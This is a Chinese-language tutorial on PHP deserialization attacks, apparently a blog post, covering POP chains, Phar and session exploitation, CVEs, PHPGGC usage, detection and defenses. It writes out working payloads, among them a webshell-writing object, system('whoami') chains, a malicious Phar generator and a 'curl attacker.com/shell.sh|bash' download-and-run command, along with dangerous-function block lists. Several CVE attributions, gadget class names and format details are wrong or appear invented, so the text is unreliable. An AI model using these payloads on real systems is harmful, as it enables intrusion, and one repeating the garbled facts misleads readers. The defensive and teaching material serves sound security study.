PHP 反序列化漏洞详解

目录

  1. 基础概念:序列化与反序列化

  2. 序列化字符串格式深度解析

  3. 魔术方法:漏洞的核心入口

  4. 漏洞原理剖析

  5. 反序列化字符串结构操作技巧

  6. 常见绕过与利用手法

  7. [PHP vs Java 反序列化对比](#PHP vs Java 反序列化对比)

  8. [POP Chain(属性链)攻击](#POP Chain(属性链)攻击)

  9. [Phar 反序列化攻击](#Phar 反序列化攻击)

  10. [Session 反序列化漏洞](#Session 反序列化漏洞)

  11. [经典 CVE 回顾](#经典 CVE 回顾)

  12. 近期高危漏洞(2024--2026)

  13. 漏洞检测与利用工具

  14. 防护措施详解

  15. 代码审计实战

  16. 学习路线与资源


1. 基础概念:序列化与反序列化

1.1 什么是序列化

序列化是将 PHP 对象转换为字符串(字节流)的过程,便于存储或网络传输。

php 复制代码
<?php
class User {
    public $name = "admin";
    protected $role = "admin";
    private $token = "secret123";
​
    public function hello() {
        echo "Hello, " . $this->name;
    }
}
​
$user = new User();
$serialized = serialize($user);
echo $serialized;
​
// 输出:
// O:4:"User":3:{s:4:"name";s:5:"admin";s:6:"*role";s:5:"admin";s:13:"\0User\0token";s:9:"secret123";}

反序列化则相反:

php 复制代码
$restored = unserialize($serialized);
$restored->hello();  // Hello, admin

1.2 PHP 中哪些数据会被序列化

函数 说明
serialize() 任意 PHP 值(对象、数组、标量)
var_export() 可读的字符串表示(非真正序列化)
var_dump() 调试输出
json_encode() JSON 格式(更安全)
session_encode() Session 数据序列化

1.3 常见的序列化数据存储场景

php 复制代码
Cookie / Session → 反序列化恢复用户状态
缓存(Redis/Memcached)→ 存储序列化对象
序列化接口(API)→ 传输结构化数据
日志文件 → 存储历史对象快照

2. 序列化字符串格式深度解析

2.1 数据类型标记

php 复制代码
a   - array(数组)
b   - boolean(布尔)
d   - double(浮点数)
i   - integer(整数)
N   - NULL
O   - object(对象)
R   - pointer reference(指针引用)
r   - relative reference(相对引用)
s   - string(字符串,需要 url编码)
S   - string(字符串,hex 格式)
C   - custom object(自定义对象,罕见)
U   - unicode string(Unicode 字符串)

2.2 三种属性修饰符的序列化差异

php 复制代码
<?php
class Demo {
    public $public_var = "public";
    protected $protected_var = "protected";
    private $private_var = "private";
}
​
$obj = new Demo();
echo serialize($obj);
输出解析:

O:4:"Demo":3:{
    s:12:"public_var";       ← public,名称不变
    s:11:"protected_var";    ← protected,会添加 \x00*\x00 前缀
    s:13:"\0Demo\0private_var"; ← private,会添加 \0ClassName\0 前缀
}

2.3 URL 编码问题

PHP 序列化字符串中的 \x00(NULL 字节)必须 URL 编码才能在 HTTP 中传输:

php 复制代码
<?php
// 浏览器直接发送会截断
// 原生字符串: O:4:"Demo":1:{s:13:"\0User\0token";s:9:"secret";}
​
// URL 编码后发送:
$encoded = urlencode('O:4:"Demo":1:{s:13:"\0User\0token";s:9:"secret";}');
// %4F%3A%34%3A%22%44%65%6D%6F%22%3A%31%3A%7B%73%3A%31%33%3A%22%00%55%73%65%72%00%74%6F%6B%65%6E%22%3B...

2.4 数组序列化

php 复制代码
<?php
$arr = ["a", "b", "c"];
echo serialize($arr);
// a:3:{i:0;s:1:"a";i:1;s:1:"b";i:2;s:1:"c";}
​
$nested = ["user" => ["name" => "admin", "role" => "root"]];
echo serialize($nested);
// a:1:{s:4:"user";a:2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"root";}}

3. 魔术方法:漏洞的核心入口

3.1 完整魔术方法列表

魔术方法 触发时机
__construct() 对象创建时
__destruct() 对象销毁时(引用计数归零、脚本结束)
__toString() 对象被当作字符串使用时(echo、字符串拼接)
__invoke() 对象被当作函数调用时
__call() 调用不存在的方法时
__callStatic() 静态调用不存在的方法时
__get() 读取不可访问属性时
__set() 写入不可访问属性时
__isset() 对不可访问属性使用 isset() / empty() 时
__unset() 对不可访问属性使用 unset() 时
__sleep() serialize() 执行前
__wakeup() unserialize() 执行后(立即)
__set_state() var_export()
__debugInfo() var_dump()
__clone() 对象被 clone 时

3.2 利用链中的关键魔术方法

反序列化攻击中最重要的三个魔术方法:

php 复制代码
<?php
class Exploit {
    // __destruct --- 对象销毁时自动触发,最常用
    function __destruct() {
        // $this->callback 被可控 → 命令执行
        call_user_func($this->callback, $this->arg);
    }
​
    // __toString --- 对象被当作字符串时触发
    function __toString() {
        // $this->target 被可控 → 文件操作/SSRF
        return file_get_contents($this->target);
    }
​
    // __wakeup --- 反序列化后立即执行(可被绕过,见 CVE-2016-7124)
    function __wakeup() {
        // 经常用来重置危险属性或清理数据
        $this->dangerous = null;
    }
}

3.3 PHP 7.x 中的 __destruct 自动调用链

php 复制代码
<?php
// 反序列化后,对象在脚本结束时自动调用 __destruct()
// 这意味着:只要 unserialize() 执行,__destruct() 就一定会被触发
​
class FileWriter {
    public $filename;
    public $content;
​
    function __destruct() {
        // 文件写入类,反序列化后可写入任意文件
        file_put_contents($this->filename, $this->content);
    }
}
​
// 恶意 payload:
// O:11:"FileWriter":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:20:"<?php phpinfo();?>";}
​
// 攻击效果:生成 webshell

4. 漏洞原理剖析

4.1 漏洞产生的根源

复制代码
漏洞 = unserialize() + 用户可控输入 + 可利用的魔术方法

PHP 反序列化漏洞的本质:unserialize() 在重建对象时,会自动触发一系列魔术方法。如果这些方法中存在危险操作(file_put_contents、eval、system 等),且攻击者能控制对象的属性值,就能 RCE。

4.2 漏洞利用模型

php 复制代码
攻击者构造恶意序列化字符串
        ↓
传入 unserialize($user_input)
        ↓
PHP 解析并重建对象
        ↓
触发 __destruct() / __toString() 等魔术方法
        ↓
魔术方法中的危险操作被执行
        ↓
RCE / 写文件 / SSRF 等

4.3 最简漏洞示例

php 复制代码
<?php
// vul.php
class Demo {
    public $cmd;

    function __destruct() {
        eval($this->cmd);  // 危险操作
    }
}

unserialize($_GET['payload']);
构造 Payload:

<?php
class Demo {}
$obj = new Demo();
$obj->cmd = "system('whoami')";
echo serialize($obj);
// O:4:"Demo":1:{s:3:"cmd";s:17:"system('whoami')";}
在 URL 中发送:?payload=O:4:"Demo":1:{s:3:"cmd";s:17:"system('whoami')";}

5. 反序列化字符串结构操作技巧

5.1 修改属性值

直接修改序列化字符串中的属性值:

php 复制代码
<?php
// 原序列化字符串
$original = 'O:4:"User":1:{s:8:"password";s:6:"123456";}';

// 攻击:把密码改成 admin
$modified = str_replace('s:6:"123456"', 's:5:"admin"', $original);
unserialize($modified);

5.2 引用(Reference)技巧

PHP 序列化支持引用:R 表示引用,r 表示相对引用。

php 复制代码
<?php
class Ref {
    public $a;
    public $b;

    function __construct() {
        $this->a = new stdClass();
        $this->b = null;
    }
}

// a 和 b 指向同一个引用时:
// a:2:{i:0;O:8:"stdClass":0:{}i:1;r:2;}
// r:2 表示引用第 2 个元素

// 利用引用:让绕过检查的属性与危险属性指向同一个值

5.3 部分序列化字符串伪造

如果代码使用 strpospreg_match 等对序列化字符串做检查,攻击者可以用不完整的序列化数据绕过:

php 复制代码
<?php
// 绕过 strpos 检查(序列化字符串可被截断)
// PHP 在反序列化时只解析到第一个完整对象为止

$payload = 'O:4:"Test":0:{}' . "\r\n" . '<?php system($_GET["cmd"]);?>';
// strpos($payload, '<?php') 可能检查不严 → bypass

5.4 大写 S 字符串格式绕过

PHP 5.6+ 支持大写 S 格式,允许十六进制表示字符串内容:

php 复制代码
<?php
// 普通:s:5:"admin";
// 绕过:S:5:"\61\64\6d\69\6e";  (十六进制表示 "admin")

// 可以绕过某些正则过滤
$payload = 'O:4:"User":1:{s:8:"username";S:5:"\61\64\6d\69\6e";}';

6. 常见绕过与利用手法

6.1 CVE-2016-7124 --- __wakeup 绕过

漏洞原理: 当序列化字符串中表示属性个数的数字 大于 真实属性个数时,__wakeup() 会被跳过,但 __destruct() 仍然执行。

影响版本: PHP 5 < 5.6.25,PHP 7 < 7.0.10

php 复制代码
<?php
// 目标代码
class Flag {
    public $file = "flag.php";

    function __wakeup() {
        // 重置为合法路径,防止读取 flag
        $this->file = "index.php";
    }

    function __destruct() {
        // 真正读取文件
        echo file_get_contents($this->file);
    }
}

unserialize($_GET['flag']);

正常序列化:

php 复制代码
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
          ↑ 属性个数 = 1
绕过 Wakeup(属性数 2 > 实际 1):

O:4:"Flag":2:{s:4:"file";s:8:"flag.php";}
          ↑ 属性个数 = 2 → __wakeup() 被跳过
POC:

<?php
class Flag {
    public $file;
}
$obj = new Flag();
$obj->file = "flag.php";
$payload = serialize($obj);
// 手动修改属性数:O:4:"Flag":1:{...} → O:4:"Flag":2:{...}
$malicious = str_replace(':1:{', ':2:{', $payload);
echo urlencode($malicious);

6.2 私有/保护属性长度计算绕过

php 复制代码
<?php
class Test {
    private $secret = "safe";
}
// serialize → O:4:"Test":1:{s:13:"\0Test\0secret";s:4:"safe";}
//                                    ↑ \0 是 NULL 字符

// 攻击者直接发序列化字符串时要算准长度
// s:13(注意是 13 不是 7)

6.3 对象属性注入

php 复制代码
<?php
class User {
    private $is_admin = false;

    function __destruct() {
        if ($this->is_admin) {
            echo "Welcome, admin!";
            // system($this->cmd);
        }
    }
}

// 序列化时不包含 is_admin(默认值 false)
// 但攻击者可以手动添加:
// 在序列化字符串末尾追加属性
$orig = 'O:4:"User":0:{}';
$inject = 'O:4:"User":1:{s:13:"\0User\0is_admin";b:1;}';
unserialize($inject);  // is_admin = true,绕过权限检查

6.4 绕过字符串长度检查

php 复制代码
# 原字符串: s:4:"test"
# 修改后:   s:5:"testX"  (长度5,但实际只读4字节)

# PHP unserialize 只看长度声明
# 如果后端用 strlen() 检查,可用此绕过

6.5 绕过字符过滤

过滤 绕过方法
preg_match('/"/', $input) 使用单引号或 S 格式
preg_match('/;/', $input) 嵌套对象 O:...{...}
preg_match('/O:\d/', $input) 大写 O 或 array 包装
preg_match('/_/', $input) 十六进制 \x5f

7. PHP vs Java 反序列化对比

维度 PHP 反序列化 Java 反序列化
入口函数 unserialize() ObjectInputStream.readObject()
触发方式 魔术方法自动调用 readObject() 自动调用
利用链 POP Chain(属性链) Gadget Chain(方法链)
核心原理 控制对象属性值 控制方法调用链
Native 类型 无(PHP 是脚本语言) 存在(JNI 调用)
序列化格式 文本化(可读) 二进制化
常见利用链 Laravel、WordPress、Magento CommonsCollections、Spring
防护机制 allowed_classes 白名单 ObjectInputFilter 白名单
绕过技术 wakeup绕过、S字符、引用 JNDI注入、Gadget链串联

PHP POP Chain 核心原理

php 复制代码
对象属性值可控
      ↓
POP chain:通过 __get / __set / __call 等方法
      ↓
触发危险函数(eval、system、file_put_contents 等)

8. POP Chain(属性链)攻击

8.1 POP Chain 原理

POP Chain(Property-Oriented Programming)与 Java 的 Gadget Chain 原理相同:通过控制对象的属性值,使一系列方法调用链最终指向危险函数

php 复制代码
对象A 属性$evil = "system('whoami')"
      ↓ __destruct() 调用 $this->adapter->render()
对象B 属性$adapter → 对象A
      ↓ __toString() 调用 $this->view->render($this)
对象C 属性$view → 对象B
      ↓ __invoke() 或 __call()
最终危险函数 → eval / system / file_put_contents

8.2 POP Chain 典型案例:Laravel <= 8.x

Laravel <= 8.x 中存在著名的 Ignition 组件反序列化 RCE(CVE-2021-3129):

php 复制代码
<?php
// Laravel 的 debug 模式开启时,view() 模板渲染链
// 可以构造如下 POP Chain:

class IlluminateViewViewsStore {
    protected $path = "/var/www/html/storage/framework/views/../../../";
    // __destruct() → file_put_contents() → 任意文件写入
}

class IlluminateEncryptionLateBindingQueueConsumer {
    // __destruct() → 触发更深层的调用链
}

// 最终写入 webshell

利用流程:

php 复制代码
1. 开启 Laravel debug 模式(.env 中 APP_DEBUG=true)
2. 发送精心构造的 PHPGGC payload
3. Laravel 处理错误的响应时会序列化 Exception 对象
4. 触发 POP Chain,写入 webshell

8.3 手工构造 POP Chain 步骤

php 复制代码
第一步:在目标源码中找到所有可用的类
第二步:识别每个类的属性(public/protected/private)
第三步:分析每个魔术方法中的危险函数调用
第四步:从 __destruct() / __toString() 开始逆向追溯
第五步:找到一条从入口到危险函数的属性引用链
第六步:用 PHP 脚本序列化生成 payload
php 复制代码
<?php
// 示例:找 POP Chain
// 已知类 A 有 __destruct() 且调用 eval($this->callback)

class A {
    public $callback;
    public $arg;
    function __destruct() {
        call_user_func($this->callback, $this->arg);
    }
}

// 已知类 B 的属性 $handler → 类 A
class B {
    public $handler;  // 指向 A 的实例
}

// 构造 POP Chain:
$a = new A();
$a->callback = "system";
$a->arg = "whoami";

$b = new B();
$b->handler = $a;

// 当 unserialize() 时,B 被反序列化
// B 的 __destruct() 调用 → $this->handler->... → 触发 A 的方法
// 最终 → system("whoami")

9. Phar 反序列化攻击

9.1 原理

PHP 通过 phar:// 协议可以解析 Phar(PHP Archive)文件。当访问 phar://xxx.jpg 时,PHP 会读取并解析 Phar 元数据,即使文件扩展名是 .jpg,也会触发 unserialize()

复制代码
利用条件:
1. 目标使用 file_get_contents() / fopen() 等文件系统函数
2. 攻击者能控制文件路径(包含 phar://)
3. 目标 PHP 版本存在 phar 反序列化漏洞

9.2 Phar 文件结构

复制代码
┌────────────────────┐
│  Stub (入口代码)    │  ← __HALT_COMPILER(); ?>
├────────────────────┤
│  Manifest (元数据)  │  ← 被 unserialize() 解析 ← 攻击点
├────────────────────┤
│  File Content      │
└────────────────────┘

9.3 生成恶意 Phar 文件

php 复制代码
<?php
// generate_phar.php
class Evil {
    public $cmd;
    function __destruct() {
        eval($this->cmd);
    }
}

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");

$evil = new Evil();
$evil->cmd = "system('whoami');";

$phar["evil.txt"] = "test";  // 添加任意文件
$phar->setMetadata($evil);     // 写入恶意元数据
$phar->stopBuffering();

9.4 利用场景

php 复制代码
<?php
// victim.php
class ImageProcessor {
    public function process($filename) {
        // 可控的文件路径
        $content = file_get_contents($filename);
        // ...
    }
}

$processor = new ImageProcessor();
$processor->process($_GET['img']);

// 攻击:
// 1. 先上传合法的 evil.jpg(实际是恶意 phar)
// 2. 然后请求:?img=phar://upload/evil.jpg/shell
// → PHP 解析 phar 元数据 → 触发反序列化 → RCE

10. Session 反序列化漏洞

10.1 PHP Session 序列化机制

PHP 支持三种 Session 序列化处理器:

处理器 格式 说明
php_serialize serialize/unserialize PHP 内置,处理 serialize() 格式
php php_serialize 默认,使用 : 分隔
php_binary 键名 + 序列化的值 二进制格式,键名有长度前缀

配置项: session.serialize_handler

10.2 漏洞成因

不同处理器的混用导致反序列化解析不一致:

php 复制代码
<?php
// 站点A:使用 php_serialize
ini_set("session.serialize_handler", "php_serialize");

// 站点B:使用 php(默认)
ini_set("session.serialize_handler", "php");

// 如果反序列化时用不同处理器:
// "php_serialize" 写入 → Session 文件
// "php" 读取 → 解析不一致,可能产生意外对象

10.3 Session 反序列化利用

php 复制代码
<?php
// 生成恶意 session 数据
class SessionExploit {
    public $username = "admin";
    public $is_admin = false;

    function __destruct() {
        if ($this->is_admin) {
            system("whoami");  // RCE
        }
    }
}

$obj = new SessionExploit();
$obj->is_admin = true;

// 用 php_serialize 格式存储
echo serialize($obj);
// O:14:"SessionExploit":2:{s:8:"username";s:5:"admin";s:8:"is_admin";b:1;}

// 写入 session 文件后,当应用用 php 处理器读取时
// 可能触发意外反序列化行为

11. 经典 CVE 回顾

11.1 CVE-2016-7124 --- __wakeup 绕过

详见 6.1 节。

11.2 CVE-2017-12933 --- phpMyAdmin 反序列化

项目 说明
漏洞类型 反序列化 Session 数据
影响版本 phpMyAdmin 4.7.0 ~ 4.7.6
CVSS 6.5

攻击路径:构造 Session 数据写入文件 → 通过 phar:// 触发。

11.3 CVE-2019-11043 --- PHP-FPM RCE(补充)

项目 说明
漏洞类型 FPM _fastcgi 协议解析缺陷(非直接反序列化)
CVSS 10.0
说明 PATH_INFO 注入,配合 nginx 配置错误可 RCE

11.4 CVE-2021-3129 --- Laravel <= 8.x Ignition RCE

项目 说明
漏洞类型 Laravel debug 模式 POP Chain
影响版本 Laravel <= 8.4.2
CVSS 9.8
利用 PHPGGC Laravel Gadget 1
复制代码
# 利用步骤
# 1. 使用 PHPGGC 生成 payload
phpggc Laravel RCE1 "whoami" > payload.txt

# 2. 发送 payload 到 Laravel 的 _ignition/execute-solution 端点
curl -X POST "http://target/_ignition/execute-solution" \
  -d "solutionClass=Illuminate\\Broadcasting\\PendingBroadcast&parameters=..." \
  -H "Content-Type: application/x-www-form-urlencoded"

11.5 CVE-2022-29221 --- Laravel 9.x 反序列化

项目 说明
漏洞类型 新的 POP Chain
CVSS 8.1
影响 Laravel 9.x

12. 近期高危漏洞(2024--2026)

12.1 WordPress Plugin 反序列化(持续高发)

WordPress 及主流插件历史上持续曝出反序列化漏洞:

插件 漏洞类型 CVSS
WooCommerce 反序列化 RCE
Contact Form 7 反序列化写入
All In One SEO POP Chain
Duplicator Phar 反序列化

12.2 Magento / Adobe Commerce 反序列化

CVE 说明
CVE-2022-24086 Magento 2.x 授权前反序列化
CVE-2023-29297 Adobe Commerce 反序列化 RCE

12.3 Typo3 CMS 反序列化

Typo3 历史版本存在多个反序列化入口,配合 POP Chain 可 RCE。

12.4 Symfony Framework 反序列化

Symfony 的 PropertyAccessor 机制在反序列化时可通过 __call 或反射触发危险操作。

12.5 phpMyAdmin 最新版本注意事项

phpMyAdmin 持续加强安全,但 5.x 版本仍需关注 Session 处理和文件上传路径。


13. 漏洞检测与利用工具

13.1 PHPGGC --- PHP Gadget Chain Generator

php 复制代码
# 安装
git clone https://github.com/ambionics/phpggc.git
cd phpggc

# 列出所有 gadget chain
phpggc --list

# Laravel RCE Gadget
phpggc Laravel RCE1 "whoami"

# Laravel RCE2 (新版)
phpggc Laravel RCE2 "curl attacker.com/shell.sh|bash"

# Monolog (Doctrine POP Chain)
phpggc Monolog RCE1 "system('whoami')"

# SwiftMailer
phpggc SwiftMailer RCE1

# Symfony
phpggc Symfony RCE1

# 生成 URL-safe 编码的 payload
phpggc -u Laravel RCE1 "whoami"

# 生成文件(用于 Phar 攻击)
phpggc -p phar Laravel RCE1 > evil.phar

13.2 PHP 序列化字符串手工构造

php 复制代码
<?php
// 方法1:用已知类序列化
class Cmd {
    public $cmd = "whoami";
}
echo serialize(new Cmd());

// 方法2:手动拼接序列化字符串
$payload = 'O:6:"MyClass":1:{s:7:"command";s:6:"whoami";}';

// 方法3:burpsuiteintruder 批量测试
// 用 Python 生成批量 payload
import urllib.parse

payloads = []
for cmd in ["whoami", "id", "ls -la"]:
    obj = f'O:4:"Test":1:{{s:3:"cmd";s:{len(cmd)}:"{cmd}";}}'
    payloads.append(urllib.parse.quote(obj))

13.3 反序列化探测技巧

复制代码
# 1. 检测目标是否可控 unserialize
# 发送序列化数据,观察是否报错或行为变化
payload=O:4:"Test":0:{}

# 2. 检测 PHPGGC 常用链是否存在
# Laravel → /_ignition/execute-solution
# Symfony → 特定端点

# 3. DNS 探测
phpggc Monolog RCE1 "curl http://your.dnslog.cn/$(whoami)"

# 4. 时间盲注
phpggc Laravel RCE1 "sleep 5"

13.4 常用检测脚本

php 复制代码
#!/usr/bin/env python3
"""PHP反序列化漏洞快速检测"""
import requests, urllib.parse, sys

def test_unserialize(url, param_name="payload"):
    test_cases = [
        # 基础测试:序列化对象
        'O:4:"Test":0:{}',
        # wakeup bypass
        'O:4:"Test":99:{}',
        # Laravel PHPGGC
        # (实际使用 phpggc -u 生成)
    ]

    headers = {"Content-Type": "application/x-www-form-urlencoded"}

    for payload in test_cases:
        data = {param_name: payload}
        try:
            r = requests.post(url, data=data, headers=headers, timeout=5)
            print(f"[?] Sent: {payload[:50]}...")
        except Exception as e:
            print(f"[!] Error: {e}")

if __name__ == "__main__":
    test_unserialize(sys.argv[1])

14. 防护措施详解

14.1 最佳防护:避免用户输入反序列化

复制代码
最根本的方案:永远不要将用户可控数据传入 unserialize()

替代方案:
  1. 使用 JSON 序列化(json_encode / json_decode)
  2. 使用 MessagePack / Protocol Buffers
  3. 使用 HMAC 签名保护序列化数据
php 复制代码
<?php
// ✅ 安全方案1:JSON 替代
$user_json = json_encode($user);
$user = json_decode($user_json, true);

// ✅ 安全方案2:HMAC 签名
$key = "your-secret-key";
$payload = serialize($user);
$signature = hash_hmac('sha256', $payload, $key);
$transmit = base64_encode($payload . '|' . $signature);

// 反序列化时:
$parts = explode('|', base64_decode($transmit));
if (!hash_equals($signature, hash_hmac('sha256', $parts[0], $key))) {
    die("Invalid signature");
}
$user = unserialize($parts[0]);

14.2 allowed_classes 白名单(PHP 7+)

php 复制代码
<?php
// PHP 7.0+ 支持 allowed_classes 参数
// 只允许反序列化指定的类,其他类被忽略

$allowed = ['User', 'Post', 'Comment'];
$obj = unserialize($_GET['data'], ['allowed_classes' => $allowed]);

// 如果序列化数据包含其他类:
// unserialize() 会返回 PHP incomplete_class(__PHP_Incomplete_Class)
// 而不是抛出错误
<?php
// 更严格的写法:禁止所有未知类
$result = unserialize($_GET['data'], ['allowed_classes' => false]);

// 等价于:只允许标量类型和数组,不允许对象
// 这是一个"全拒绝"策略

14.3 类名过滤 + 正则校验

php 复制代码
<?php
function safe_unserialize($data) {
    // 1. 基本格式校验
    if (!preg_match('/^[a-zA-Z0-9=O:"|;,{} _\-\\x00-\\x1f]*$/', $data)) {
        throw new Exception("Invalid format");
    }

    // 2. 禁止嵌套序列化(防止混淆)
    $depth = 0;
    for ($i = 0; $i < strlen($data); $i++) {
        if ($data[$i] === 'O' && isset($data[$i+1]) && $data[$i+1] === ':') {
            $depth++;
            if ($depth > 1) {
                throw new Exception("Nested object not allowed");
            }
        }
    }

    // 3. 白名单类名(基础版)
    if (preg_match('/(eval|system|exec|passthru|shell_exec|popen|proc_open)/i', $data)) {
        throw new Exception("Dangerous pattern");
    }

    // 4. 使用 allowed_classes
    return unserialize($data, ['allowed_classes' => ['User', 'Product']]);
}

14.4 WAF / 网关层拦截

php 复制代码
# Nginx WAF:拦截包含 PHP 序列化特征的请求
if ($request_body ~* "O:\d+:") {
    return 403;
}

# 拦截 phar:// 协议(根据业务场景)
if ($arg_filename ~* "phar://") {
    return 403;
}

14.5 RASP 运行时防护

PHP RASP(Runtime Application Self-Protection)可在 PHP 层面 Hook unserialize() 函数:

php 复制代码
<?php
// rasp.php --- 使用 PHP 的 auto_prepend_file 注入
// 需要在 php.ini 中配置:auto_prepend_file=/path/to/rasp.php

class RASPProtection {
    private static $dangerous_classes = [
        'system', 'exec', 'passthru', 'shell_exec',
        'eval', 'assert', 'create_function',
        'file_put_contents', 'fwrite', 'unlink'
    ];

    private static $allowed_class_patterns = [
        '^App\\\\Models\\\\User$',
        '^App\\\\DTO\\\\.*$'
    ];

    public static function check($data, $options) {
        // 只允许白名单中的类
        $allowed = $options['allowed_classes'] ?? false;
        if ($allowed === false) {
            return;  // 全允许(不安全)
        }

        // 反序列化后的类型检查
        $obj = @unserialize($data, $options);
        if (!is_object($obj)) {
            return;
        }

        $class = get_class($obj);
        foreach (self::$dangerous_classes as $dangerous) {
            if (stripos($class, $dangerous) !== false) {
                error_log("Blocked dangerous class: $class");
                throw new Exception("Disallowed class");
            }
        }
    }
}

14.6 Composer 依赖安全审计

复制代码
# 使用 LocalPHP SECURITY 检查依赖
composer audit

# 使用 Psalm / PHPStan 静态分析
./vendor/bin/psalm --taint-analysis
./vendor/bin/phpstan analyse

# 检查已知漏洞
# https://github.com/FriendsOfPHP/security-advisories

14.7 防护措施对照表

措施 防御强度 实施难度 推荐度
JSON 替代反序列化 极强 极推荐
allowed_classes 白名单 极强 极推荐
HMAC 签名验证 推荐
WAF 网关拦截 可用
PHP RASP Hook 推荐
定期 Composer 审计 推荐
关闭 debug 模式 极推荐
禁止 phar:// 上传 视情况

15. 代码审计实战

15.1 审计要点清单

复制代码
① 全局搜索 unserialize(),确认输入来源
② 定位所有可用的类定义(vendor 目录也要扫)
③ 分析每个类的魔术方法
④ 寻找危险函数(eval、system、file_put_contents 等)
⑤ 逆向追溯属性引用,构建 POP Chain
⑥ 检查 session.serialize_handler 配置
⑦ 检查 allowed_classes 是否正确配置
⑧ 测试 Phar 反序列化入口

15.2 危险代码模式

php 复制代码
// ❌ 危险模式 1:unserialize 完全可控

// ❌ 危险模式 1:unserialize 完全可控
unserialize($_COOKIE['data']);

// ❌ 危险模式 2:反序列化后对象属性可控
unserialize($data);
echo $obj->filename;  // 如果 $data 可控,则 $obj->filename 可控

// ❌ 危险模式 3:白名单配置为空(全部允许)
unserialize($data, ['allowed_classes' => true]);

// ❌ 危险模式 4:危险类存在
class Shell {
    function __destruct() {
        eval($this->code);  // 直接 eval
    }
}

// ✅ 安全模式:严格 allowed_classes
unserialize($data, [
    'allowed_classes' => ['User', 'Article', 'Comment']
]);

// ✅ 安全模式:禁止所有对象
unserialize($data, ['allowed_classes' => false]);

15.3 Laravel 代码审计示例

php 复制代码
<?php
// Laravel 审计重点文件:
// app/Http/Controllers/*.php
// app/Models/*.php
// routes/web.php
// config/session.php

// 审计步骤:
// 1. grep -r "unserialize" app/
// 2. 检查 config/session.php 的 serialize_handler
// 3. 检查 .env 中 APP_DEBUG 是否为 true(开启则可能可 RCE)
// 4. 使用 PHPGGC 测试

// app/Models/User.php 审计
class User {
    // 检查 __destruct / __toString / __wakeup
    // 检查是否有 eval / system / file_put_contents
}

// routes/web.php 审计
Route::post('/import', function(Request $req) {
    // 是否有 session()->put() / unserialize()
    // session 数据的来源是否可信?
});

15.4 WordPress 插件审计

php 复制代码
<?php
// WordPress 审计重点:
// 1. 搜索 unserialize() 调用
grep -rn "unserialize" wp-content/plugins/*/

// 2. 重点关注以下钩子入口:
//    add_action('init', ...)     --- 请求处理
//    add_filter('the_content', ...) --- 内容处理
//    wp_ajax_*                  --- AJAX 端点
//    wp_ajax_nopriv_*           --- 未登录 AJAX

// 3. 检查 $_COOKIE, $_GET, $_POST 是否直接传入 unserialize
if (isset($_GET['data'])) {
    $obj = unserialize(base64_decode($_GET['data'])); // ❌
}

// 4. WordPress 反序列化触发点
// wp-includes/pluggable.php 中的某些函数
// wp-config.php 中的某些常量

15.5 Phar 反序列化审计

php 复制代码
<?php
// 搜索 Phar 利用入口:
grep -rn "file_get_contents\|fopen\|include\|require" --include="*.php" . | \
  grep -E '\$_(GET|POST|COOKIE|REQUEST)'

// 常见 Phar 触发点:
file_get_contents($_GET['file']);         // ✅ phar:// 可触发
include($_GET['file']);                   // ✅ phar:// 可触发
fopen($_GET['filename'], 'r');            // ✅ phar:// 可触发
copy($_FILES['upload']['tmp_name'], ...); // 上传文件后访问

16. 学习路线与资源

16.1 学习路线

复制代码
第一阶段:基础(1-2周)
  → PHP 序列化/反序列化机制(serialize/unserialize)
  → 魔术方法全家桶(__destruct, __toString, __wakeup 等)
  → 序列化字符串格式解析
  → 简单漏洞构造:修改属性值、绕过 wakeup

第二阶段:利用链(2-3周)
  → POP Chain 原理与构造方法
  → Laravel / Symfony / WordPress 源码审计
  → Phar 反序列化攻击
  → Session 反序列化
  → PHPGGC 使用与 gadget 链分析

第三阶段:框架审计(持续)
  → Laravel POP Chain(CVE-2021-3129 等)
  → Symfony POP Chain
  → WordPress / WooCommerce / Magento 审计
  → phpMyAdmin 反序列化

第四阶段:防御(同步)
  → allowed_classes 白名单实践
  → HMAC 签名序列化
  → Composer 依赖安全审计
  → PHP RASP 实现原理

16.2 靶场

靶场 说明
DVWA 包含反序列化 Lab
WebGoat OWASP 官方靶场
PentesterLab PHP 反序列化专题
CTFHub PHP 反序列化 CTF 题
Vulhub Docker 靶场(Laravel、WordPress 等)

16.3 PHPGGC 支持的 Gadget Chain

复制代码
# 查看 PHPGGC 支持的所有链
phpggc --list

# 输出:
# Laravel
#   - RCE1 (call_user_func + __destruct)
#   - RCE2 (assert + file_put_contents)
#   - RCE3
#   - Laravel_UAC
# Monolog
#   - RCE1 (eval chain)
#   - RCE2
# Doctrine
#   - RCE1
# SwiftMailer
#   - RCE1
# Symfony
#   - RCE1
#   - FFI/POC
# Guzzle
#   - RCE1
#   - FFI
# Slim
# Dwoo
# ...

16.4 工具集

工具 用途
PHPGGC 生成 PHP POP Chain Payload
PHPGGU PHPGGC 辅助工具
php-serializable-check 检测类是否可序列化
Psalm 静态分析 + Taint Tracking
PHPStan 静态分析
Burp Suite + Logger++ 检测反序列化请求

16.5 PHP 与 Java 反序列化对比总结

复制代码
共同点:
  - 都利用"反序列化时自动调用特定方法"的机制
  - 都通过构造属性引用链(Gadget/POP Chain)达到 RCE
  - 都可利用"有害类"的魔术方法作为 Sink 点

区别:
  - PHP:反序列化字符串是文本格式,可手工修改
         Java:二进制格式,需要工具生成
  - PHP:天然支持引用(R/r),容易构造复杂引用链
         Java:通过反射实现,构造难度更高
  - PHP:POP Chain 依赖源码中的类定义
         Java:Gadget 链依赖依赖库中的类
  - PHP:Phar 反序列化是独特的攻击面
         Java:无对应机制
  - PHP:allowed_classes 是内置防护
         Java:ObjectInputFilter 是官方方案

两者都面临同一个核心问题:
  "当不可信数据被反序列化时,任何可被利用的类都可能成为跳板"

文档版本: 1.0 更新时间: 2026-04-06 涵盖 PHP 反序列化原理、利用、绕过、防御完整体系

相关推荐
SomeB1oody2 小时前
【Python深度学习】1.2. 多层感知器MLP(人工神经网络)实现非线性分类理论
开发语言·人工智能·python·深度学习·机器学习·分类
派大星酷2 小时前
Java 多线程创建方式
java·开发语言·多线程
科雷软件测试7 小时前
Python中itertools.product:快速生成笛卡尔积
开发语言·python
OOJO8 小时前
c++---list介绍
c语言·开发语言·数据结构·c++·算法·list
笨笨饿10 小时前
29_Z变换在工程中的实际意义
c语言·开发语言·人工智能·单片机·mcu·算法·机器人
艾为电子11 小时前
【技术帖】让接口不再短命:艾为 C-Shielding™ Type-C智能水汽防护技术解析
c语言·开发语言
